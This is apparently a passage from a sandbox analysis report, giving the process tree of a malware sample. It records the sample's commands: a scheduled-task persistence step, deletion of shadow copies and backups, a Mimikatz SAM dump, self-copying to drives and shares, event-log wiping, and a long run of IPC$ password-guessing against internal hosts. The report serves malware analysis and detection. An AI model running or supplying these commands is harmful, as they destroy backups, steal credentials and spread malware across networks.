- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3" /tr '"C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"' & exit4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3" /tr '"C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"'5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " vssadmin Delete Shadows /All /Quiet wbadmin Delete Catalog -Quiet "4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exe"C:\Windows\system32\vssadmin.exe" Delete Shadows /All /Quiet5⤵
- Interacts with shadow copies
-
-
C:\Windows\system32\wbadmin.exe"C:\Windows\system32\wbadmin.exe" Delete Catalog -Quiet5⤵
- Deletes backup catalog
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " try { Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\"' -ErrorAction SilentlyContinue } catch {} "4⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $drives = Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} foreach ($drive in $drives) { if ($drive.DriveLetter -and -not (Test-Path ($drive.DriveLetter + \"\\WindowsUpdate.exe\"))) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination ($drive.DriveLetter + \"\\WindowsUpdate.exe\") -Force Remove-Item -Path $tempFile -Force } } "4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
- Command and Scripting Interpreter: PowerShell
- Indicator Removal: Clear Windows Event Logs
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-SmbShare | ForEach-Object { $sharePath = $_.Path if ($sharePath -and -not (Test-Path (Join-Path $sharePath \"System32_Backup.exe\"))) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination (Join-Path $sharePath \"System32_Backup.exe\") -Force Remove-Item -Path $tempFile -Force } } "4⤵
- Drops file in Windows directory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ 123456 /user:admin4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.129.212\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ password /user:admin4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ qwerty /user:admin4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ administrator /user:admin4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ letmein /user:guest4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.198.115\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ letmein /user:admin4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ qwerty /user:guest4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " try { Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\"' -ErrorAction SilentlyContinue } catch {} "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ letmein /user:user4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ welcome /user:administrator4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.232.209\IPC$ test /user:user4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ password /user:admin4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ 123456 /user:admin4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ 123456 /user:guest4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ test /user:guest4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ welcome /user:user4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.0.76\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ test /user:admin4⤵
-
-
